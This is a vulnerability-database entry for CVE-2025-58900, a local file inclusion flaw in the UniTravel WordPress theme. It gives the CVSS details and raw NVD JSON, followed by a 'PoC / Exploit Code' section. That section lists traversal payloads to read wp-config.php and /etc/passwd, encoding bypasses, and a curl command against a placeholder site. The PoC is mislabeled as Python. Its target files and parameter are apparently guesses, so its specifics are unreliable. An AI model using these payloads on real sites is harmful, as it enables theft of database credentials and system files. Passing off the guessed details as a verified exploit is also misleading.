Security Vulnerability Report
中文
CVE-2025-58900 CVSS 8.1 HIGH

CVE-2025-58900

Published: 2025-12-18 08:15:59
Last Modified: 2026-01-20 15:17:10

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes UniTravel unitravel allows PHP Local File Inclusion.This issue affects UniTravel: from n/a through <= 1.4.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:unitravel:*:*:*:*:*:wordpress:*:* - VULNERABLE
UniTravel <= 1.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58900 PoC - UniTravel Local File Inclusion * Target: AncoraThemes UniTravel WordPress Theme <= 1.4.2 * Vulnerability: Local File Inclusion via improper file path control * Author: Security Researcher */ // PoC for Local File Inclusion // Note: This is for educational and authorized testing purposes only // Target URL with vulnerable parameter $target_url = "http://target-site.com/wp-content/themes/unitravel/"; // Vulnerable file path patterns (common in WordPress themes) $vulnerable_files = [ "template-parts/single-attachment.php", "inc/template-functions.php", "template-parts/content.php", "inc/template-tags.php" ]; // Payload to read wp-config.php $payload = "../../../../wp-config.php"; // Example attack vectors $attack_vectors = [ // Read wp-config.php "?file={$payload}", // Read system files "?file=../../../../etc/passwd", // Directory traversal with null byte (older PHP) "?file={$payload}%00", // Double encoding bypass "?file=%2e%2e%2f%2e%2e%2fwp-config.php" ]; // Example curl command $curl_cmd = "curl -i '{$target_url}{$vulnerable_files[0]}?file=../../../../wp-config.php'"; echo "CVE-2025-58900 PoC\n"; echo "Target: {$target_url}\n"; echo "Attack Vector: {$attack_vectors[0]}\n"; echo "\nCurl Command:\n{$curl_cmd}\n"; echo "\nExpected Result: Contents of wp-config.php including database credentials\n"; echo "\nRemediation: Update to UniTravel > 1.4.2 or implement proper input validation\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58900", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:59.343", "lastModified": "2026-01-20T15:17:09.857", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes UniTravel unitravel allows PHP Local File Inclusion.This issue affects UniTravel: from n/a through <= 1.4.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:unitravel:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.4.2", "matchCriteriaId": "02FD825A-59CD-46C4-B0AC-AAD1EAD0DE75"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/unitravel/vulnerability/wordpress-unitravel-theme-1-4-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}